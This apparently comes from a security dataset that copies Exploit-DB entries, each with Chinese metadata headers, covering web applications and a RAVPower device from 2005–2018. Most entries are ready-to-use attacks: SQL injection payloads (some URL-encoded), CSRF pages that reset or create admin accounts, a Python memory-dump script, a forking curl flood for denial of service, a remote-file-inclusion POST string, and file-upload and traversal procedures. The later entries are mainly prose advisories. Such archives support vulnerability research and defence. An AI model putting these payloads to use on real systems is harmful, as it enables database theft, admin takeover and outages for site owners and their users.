QLWD/code_shield huggingface dataset:
标题: Wchat 1.5 - SQL Injection EDB-ID: 43864 CVE: 2018-5979 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: # # # # # 
# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://bylancer.com/
# Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5979
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/login.php
# 
# User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX
# Pass: anything
# 
# # # # # URL: https://www.exploit-db.com/exploits/43864
标题: Affiligator 2.1.0 - SQL Injection EDB-ID: 43861 CVE: 2018-5977 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: # # # # # 
# Exploit Title: Affiligator - Affiliate Webshop Management System 2.1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: https://www.getaffiligator.com/
# Software Link: https://codecanyon.net/item/affiligator-affiliate-webshop-management-system/21214946
# Version: 2.1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/search/?q=&price_type=range&price=[SQL]
# 
# %31%30%30%20%61%6e%64%28%73%65%6c%65%63%74%21%56%65%72%41%79%61%72%69%2d%7e%30%2e%20%66%72%6f%6d%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%56%65%72%73%69%6f%6e%28%29%29%29%79%29%78%29
# 
# # # # # URL: https://www.exploit-db.com/exploits/43861
标题: RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin) EDB-ID: 43862 CVE: 2018-5976 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: <!--
# # # # # 
# Exploit Title: RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin Pass)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://putrazendrato.link/
# Software Link: https://www.codegrape.com/item/rsvp-invitation-online/3890
# Demo: http://putrazendrato.link/rsvp/login.php
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5976
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
# 1)
-->
<html>
<body>
<form method="post" action="http://localhost/rsvp/function/account.php">
<!--Change admin pass-->
<input name="newpassword" type="text" value="efe">
<!--Change admin pass confirm-->
<input name="confirm" type="text" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html> URL: https://www.exploit-db.com/exploits/43862
标题: RAVPower 2.000.056 - Memory Disclosure EDB-ID: 43856 CVE: 2018-5319 类型: DOS 平台: HARDWARE 发布日期: 2018-01-23 漏洞利用脚本: """

# Exploit Title: RAVPower - remote stack disclosure
# Date: 22/01/2018
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: https://www.ravpower.com/
# Software Link: https://www.ravpower.com/
# Version: 2.000.056
# Tested on: OSX
# CVE : CVE-2018-5319

"""

import socket
import sys
import re

__author__ =  "Daniele Linguaglossa"

def redall(s):
    tmp = s.recv(1)
    while not str(tmp).endswith("<errno>"):
        tmp+=s.recv(1)
        print tmp
    tmp = str(tmp).split("\r\n\r\n",1)[1]
    return re.sub("[\x0a]+","", tmp,100)

def hexdump(src, length=16):
    FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
    lines = []
    for c in xrange(0, len(src), length):
        chars = src[c:c+length]
        hex = ' '.join(["%02x" % ord(x) for x in chars])
        printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
        lines.append("%04x  %-*s  %s\n" % (c, length*3, hex, printable))
    return ''.join(lines)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1],80))
        packet = "GET /protocol.csp?fname=a&opt=%s&function=get HTTP/1.1\r\nConnection: close\r\nHost: {0}\r\n\r\n".format(sys.argv[1])
        packet = packet % ("%0a"*12241)
        s.send(packet)
        result = redall(s)
        print "Dumping memory...\n\n"
        print hexdump(result)
    else:
        print "Usage: {0} <ip>".format(sys.argv[0]) URL: https://www.exploit-db.com/exploits/43856
标题: PHPFreeChat 1.7 - Denial of Service EDB-ID: 43852 CVE: 2018-5954 类型: DOS 平台: PHP 发布日期: 2018-01-21 漏洞利用脚本: # Exploit Title: phpFreeChat 1.7 and earlier - Denial of Service
# Version: 1.7 and earlier
# Date: 21/01/2018
# Vendor Homepage: http://www.phpfreechat.net
# Software Link: http://www.phpfreechat.net/download
# Exploit Author: A. Pakbaz
# CVE : CVE-2018-5954
####################################################
<?php
$host="http://example.com/path/index.php"; //Vulnerable Host
$con_num=64; //Number of Connections
$proxy=''; //Proxy example http://127.0.0.1:8080
$user_agent=''; //User-Agent
$proxy=$proxy!='' ? "-x " . $proxy : '';
$user_agent=$user_agent!='' ? "-A " . $user_agent : '';
echo "##Vulnerability Discovered by A. Pakbaz\n##Exploit Author: A. Pakbaz\n";
echo "##Contact: \x70\x61\x6b\x62\x61\x7a\x40\x70\x72\x6f\x74\x6f\x6e\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\n";
echo "##PGP key: \x45\x33\x35\x35\x35\x32\x34\x43\x34\x44\x37\x45\x31\x36\x43\x38\x46\x38\x34\x38\x35\x41\x36\x46\x35\x31\x32\x39\x30\x34\x46\x35\x45\x44\x42\x45\x33\x43\x41\x41\n";
function runf($id){
global $con_num;
global $host;
global $proxy;
global $user_agent;
$i=$id*1000000/$con_num;
$f=($id+1)*1000000/$con_num;
for($num=$i; $num<$f; $num++){
 `curl --url '$host' -X POST -d "pfc_ajax=1&f=handleRequest&cmd=%2Fconnect%20a95806d727683c9c42694214fe"$num"%200%20%22"$num"%22" -N --stderr /dev/null --compressed $proxy $user_agent`;
 echo "."; 
 }  
}
function fmaker($pno){
global $con_num;
if($pno>1){
 $pid=pcntl_fork();
 if($pid<0){
  echo "\nError! Reduce the number of connections\n";
  }
 elseif($pid)
  fmaker($pno-1);
 else
  runf($con_num-$pno);
}
elseif($pno==1)
 runf($con_num-1);
}
fmaker($con_num);
?> URL: https://www.exploit-db.com/exploits/43852
标题: Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin) EDB-ID: 43867 CVE: 2018-5969 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: <!--
# # # # # 
# Exploit Title: Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://ronnieswietek.com/
# Software Link: https://codecanyon.net/item/client-photo-studio-photography-cms/1191688
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5969
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
# 1)
-->
<html>
<body>
<script src="http://code.jquery.com/jquery-1.7.1.min.js"></script>
<h2>New Admin</h2>
<div class="efe">
<form method="post" onSubmit="return false">
 <label for="username">Username:</label>
 <input id="username" type="text"><br><br>

 <label for="password1">Password:</label>
 <input id="password1" type="password"><br><br>

 <label for="password2">Confirm Password:</label>
 <input id="password2" type="password"><br><br>

 <label for="email">Email:</label>
 <input id="email" type="text"><br><br>

 <input id="ekleabi" value="Ver Ayari" type="submit">
</form>
</div>
<script type="text/javascript">
 $("#ekleabi").live('click',function()
 {
  $.ajax({
   type: "POST",
   url: "http://ronnieswietek.com/cc/clients/resources/ajax/ajax_new_admin.php",
   data:{
    username:$(".efe #username").val(),
    password1:$(".efe #password1").val(),
    password2:$(".efe #password2").val(),
    email:$(".efe #email").val()
   }
  });
 });
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/43867
标题: Easy Car Script 2014 - SQL Injection EDB-ID: 43863 CVE: 2018-5986 类型: WEBAPPS 平台: PHP 发布日期: 2018-01-23 漏洞利用脚本: # # # # # 
# Exploit Title: Easy Car Script 2014 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://www.easyphotostore.com/
# Software Link: http://www.easycarscript.com/
# Version: 2014
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5986
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/site_search.php?s_vehicletype=auto&s_order=[SQL]&s_row=[SQL]
# 
# %35%31%20%2f%2a%21%30%35%35%35%35%50%72%6f%63%65%64%75%72%65%2a%2f%20%2f%2a%21%30%35%35%35%35%41%6e%61%6c%79%73%65%2a%2f%20%28%65%78%74%72%61%63%74%76%61%6c%75%65%28%30%2c%2f%2a%21%30%35%35%35%35%63%6f%6e%63%61%74%2a%2f%28%30%78%32%37%2c%30%78%33%61%2c%40%40%76%65%72%73%69%6f%6e%2c%64%61%74%61%62%61%73%65%28%29%29%29%2c%30%29%2d%2d%20%2d
# 
# # # # # URL: https://www.exploit-db.com/exploits/43863
标题: Oracle JDeveloper 11.1.x/12.x - Directory Traversal EDB-ID: 43848 CVE: 2017-10273 类型: WEBAPPS 平台: JAVA 发布日期: 2018-01-21 漏洞利用脚本: [+] Credits: John Page (aka hyp3rlinx)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ORACLE-JDEVELOPER-DIRECTORY-TRAVERSAL.txt
[+] ISR: apparition security           
 

Vendor:
=============
www.oracle.com


Product:
===========
JDeveloper IDE

Oracle JDeveloper is a free integrated development environment that simplifies the development of Java-based
applications addressing every step of the application lifecycle.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-10273



Security Issue:
================
Attackers can place malicious files outside intended target directories if tricked into importing corrupt .WAR or .EAR archives.
Later, attackers can potentially request these scripts/files to execute system commands on affected target.


Affected versions:
11.1.1.7.0, 11.1.1.7.1, 11.1.1.9.0, 11.1.2.4.0, 12.1.3.0.0, 12.2.1.2.0


References:
============
http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html



Exploit/POC:
=============
1) create evil .WAR or .EAR archive containing ../ in path name to initiate directory traversal and inside a script to execute system commands.
2) import into JDeveloper
3) files get moved outside target directories to one of the attackers choosing.
4) attacker requests the malicious file contained in target directory.

BAM!


Network Access:
===============
Local



Severity:
=========
Low



Disclosure Timeline:
=============================
Vendor Notification: October 14, 2016
Vendor fixes as part of CPU January 16, 2018
January 17, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/43848
标题: X-Cart < 4.1.3 - Arbitrary Variable Overwrite EDB-ID: 43842 CVE: 2006-4904 类型: WEBAPPS 平台: PHP 发布日期: 2016-08-18 漏洞利用脚本: X-Cart Arbitrary Variable Overwrite

Vendor: Qualiteam
Product: X-Cart
Version: <= 4.1.3
Website: http://www.x-cart.com/

BID: 20108 
CVE: CVE-2006-4904 
OSVDB: 28957 
SECUNIA: 22005 

Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for webmasters to host an online marketplace. Unfortunately an attacker may be able to execute arbitrary php code on an X-Cart installation by overwriting key configuration variables. However, because the vulnerability allows for any variables to be overwritten other attacks such as SQL Injection are probably possible as well. Qualiteam have released an updated version of their X-Cart software, and users are strongly encouraged to upgrade as soon as possible or delete the cmpi.php script that resides within the payments directory. 


Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for an attacker to conduct various attacks including arbitrary php code execution. Let's have a look at the vulnerable code in question. 
if ($HTTP_POST_VARS) {
 foreach ($HTTP_POST_VARS as $var => $value) {
  $$var = $value;
 }
}

As we can see every single post variable is dynamically evaluated. This is especially dangerous because register globals and magic quotes gpc settings do not affect an attackers ability to overwrite key configuration variables. 

stand_alone=0&httpsmod_active=1&orderids=1&close_frame=1&xcart_dir=http://shell 

By sending a post request with the above variables set will automatically include an execute a remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php code execution on the underlying web server in most cases. 


Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated version of X-Cart has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43842
标题: Claroline < 1.7.7 - Arbitrary File Inclusion EDB-ID: 43841 CVE: 2006-4844 类型: WEBAPPS 平台: PHP 发布日期: 2016-08-14 漏洞利用脚本: Claroline Arbitrary File Inclusion

Vendor: Claroline
Product: Claroline
Version: <= 1.7.7
Website: http://www.claroline.net/

BID: 20056 
CVE: CVE-2006-4844 
OSVDB: 28827 
SECUNIA: 21931 

Description:
Claroline is a popular online Open Source e-Learning application used to allow teachers or education organizations to create and administrate courses through the web. Claroline is also used as the framework for other e-Learning applications such as Dokeos. Unfortunately Claroline is vulnerable to a file inclusion issue when register globals is on which may allow for an attacker to read or execute arbitrary files. Some frameworks that use Claroline (such as Dokeos) are also vulnerable to the issues mentioned here. An updated version of Claroline has been released and users should upgrade immediately and disable register_globals if possible. 


Arbitrary File Inclusion:
Claroline is vulnerable to an arbitray file inclusion issue that may allow for remote code execution. The vulnerability is due to an uninitialized array being used to include files. The vulnerable code in claro_init_local.inc.php can be seen below 
if (isset($extAuthSource) && is_array($extAuthSource))
{
    foreach($extAuthSource as $thisAuthSource)
    {
        $_uid = include_once($thisAuthSource['newUser']);

        if ( $_uid > 0 )
        {
            $uidReset             = true;
            $claro_loginSucceeded = true;
            break;
        }
        else
        {
            $_uid                 = null;
            $claro_loginSucceeded = false;
        }
    }
} //end if is_array($extAuthSource)

Unfortunately there is no authentication needed to exploit this issue, thus allowing an attacker to easily include files via the extAuthSource[newUser] variable. 


Solution:
An updated version of Claroline has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43841
标题: ADOdb < 4.71 - Cross Site Scripting EDB-ID: 43832 CVE: 2006-0806 类型: WEBAPPS 平台: PHP 发布日期: 2016-02-18 漏洞利用脚本: ADOdb Cross Site Scripting

Vendor: John Lim
Product: ADOdb
Version: <= 4.71
Website: http://adodb.sourceforge.net/

BID: 16720 
CVE: CVE-2006-0806 
OSVDB: 23362 23363 23364 
SECUNIA: 18928 
PACKETSTORM: 44065 

Description:
ADOdb is a database abstraction library for php used by a great deal of projects to provide support for a number of well known database api's. ADOdb also comes with various functions to perform routine database related tasks. One of the more useful of these functions is ADOdb's ability to paginate the retrieved database records by using the ADODB_Pager class. However, there are several cross site scripting issues within the ADODB_Pager class that may allow for an attacker to render malicious client side code in the victims browser. An updated version of ADOdb has been released, and users should update their ADOdb library. 


Cross Site Scripting:
There are several Cross Site Scripting issues in ADOdb versions 4.71 and possibly earlier that may allow for an attacker to render malicious client side code in the victim's browser. 
if (isset($_GET[$next_page])) {
 $_SESSION[$curr_page] = $_GET[$next_page];
}
if (empty($_SESSION[$curr_page])) $_SESSION[$curr_page] = 1; ## at first page
  
$this->curr_page = $_SESSION[$curr_page];

The above code is taken from adodb-pager.inc.php @ lines 72-77 and ultimately set's the $this->curr_page variable to unsanitized user supplied input. Later on this variable is used when drawing the links for the pagination, thus allowing for Cross Site Scripting attacks to be possible. There are also several unsafe PHP_SELF calls within the script that allow for similar Cross Site Scripting attacks. In addition to these issues there are also several input validation issues in the performance scripts such as adodb-perf.inc.php and perf-oci8.inc.php, but these will not be addressed as the author says: 

"The adodb perf files assume that you can execute any sql in the system from the sql form we provide. True that there could be security issues in the perf scripts, but using the perf files already assume (and require) a high level of trust." 

We may include details of these vulnerabilities in this advisory at a later date. However, a new version of ADOdb was just released to address the previously mentioned Cross Site Scripting issues. 


Solution:
A new version of ADOdb was recently released which addresses the previously mentioned Cross Site Scripting issues. Users should upgrade their current vulnerable ADOdb libraries. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43832
标题: XPCOM - Race Condition EDB-ID: 43831 CVE: 2005-2414 类型: WEBAPPS 平台: PHP 发布日期: 2015-07-21 漏洞利用脚本: XPCOM Race Condition

Vendor: Mozilla
Product: XPCOM
Version: 
Website: http://www.mozilla.org/projects/xpcom/

CVE: CVE-2005-2414 
OSVDB: 18226 
PACKETSTORM: 38837 

Description:
xpcom, or cross platform component object model is a framework for writing cross-platform, modular software. The xpcom library is used in many applications including a majority of the popular browsers such as FireFox, NetScape, Mozilla, Galeon, etc. It seems that there is a race condition of sorts in xpcom that makes it possible for an attacker to crash a victims browser by having them view a malformed html document. This issue is not believed to be exploitable by the Mozilla dev team, and will likely be addressed in full at a later date by the development team. 


XPCOM Race Condition:
It is possible for an attacker to create a race condition that will cause an access violation and result in a hard crash of the browser. One way to trigger this issue is by taking a decent sized html file and loading a dom call within some nested divs that will cause part of the page currently being rendered to be deleted. If the page has not loaded by the time the dom call is made then we can delete objects that have yet to be referenced, which will result in a crash as soon as the browser tries to reference the deleted object. 

http://www.gulftech.org/wrecko.html 

The above link is a simple proof of concept I wrote a few months ago to show the developers how the issue could be used to cause a crash of the affected web browser. Due to time constraints I have not got to look into this issue very in depth, but it may be possible to use the race condition described here in combination with other dom calls or javascript to produce different results than those demonstrated in my proof of concept. 


Solution:
Mozilla have been aware of this issue for some months, and have fixed the issue on trunk, but not on branch. The reason for this as stated by one of the developers is "fixes for this stuff could easily cause regressions". I did test this issue on the latest copy of the mozilla browser (Deer Park) this morning though, and it seemed to NOT be vulnerable. However, firefox and the like are still affected. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43831
标题: ReviewPost < 2.84 - Multiple Vulnerabilities EDB-ID: 43821 CVE: 2005-0270 2005-0271 2005-0272 类型: WEBAPPS 平台: PHP 发布日期: 2015-01-02 漏洞利用脚本: ReviewPost Multiple Vulnerabilities

Vendor: All Enthusiast, Inc.
Product: ReviewPost
Version: <= 2.84
Website: http://www.reviewpost.com/

BID: 12159 
CVE: CVE-2005-0270 CVE-2005-0271 CVE-2005-0272 
OSVDB: 12703 12704 12705 12706 12707 12708 
SECUNIA: 13697 
PACKETSTORM: 35594 

Description:
Your community of users represents a wealth of knowledge. Now your users can help build and maintain your site by writing reviews of any product imaginable. With ReviewPost, you will quickly amass a valuable collection of user opinions about products that relate to your site. ReviewPost can even use your existing forum login system (if you have one) to keep your users from having to register twice, and makes an excellent companion to ReviewPost. Where you see [INT] in this advisory, it represents an integer such as a valid category. [XSS] and [SQL] represent where an attacker could insert code to conduct a cross site scripting attack, or inject data to influence SQL queries. 


Cross Site Scripting:
ReviewPost is prone to cross site scripting in several different scripts throughout the application. 

http://path/showcat.php?si=[XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT][XSS]
http://path/showproduct.php?product=[INT]&sort=[INT]&cat=[INT]&page=[INT][XSS]
http://path/reportproduct.php?report=[INT][XSS] 

This can be used to render hostile code in the context of the victims browser, or to steal cookie based credentials or other sensitive info. 


SQL Injection Vulnerability:
There are a couple of SQL Injection vulnerabilities in ReviewPost. Some are easy to exploit, others are not so easy. Examples are below: 

http://path/showcat.php?cat=[INT][SQL]
http://path/addfav.php?product=[INT][SQL]&do=add 

These SQL issues can possibly be exploited to influence SQL queries and disclose arbitrary data. These will alse cause XSS if unsuccessful. 


Arbitrary File Upload:
This issue can be very dangerous as it allows a user to upload php scripts and other files. Once uploaded these files can be executed with the permission of the webserver. The uploaded file can be found by following the image link in the Review that was posted. Exploiting this vulnerability can be accomplished by naming a file with multiple file extensions and then uploading it when posting a review (for example: test.jpg.php.jpg.php). It should be noted that the uploads are properly filtered (or seem to be) when editing a review, just not when creating a new Review. 


Solution:
ReviewPost 2.84 has been released to address these issues. Users should upgrade their installation as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team URL: https://www.exploit-db.com/exploits/43821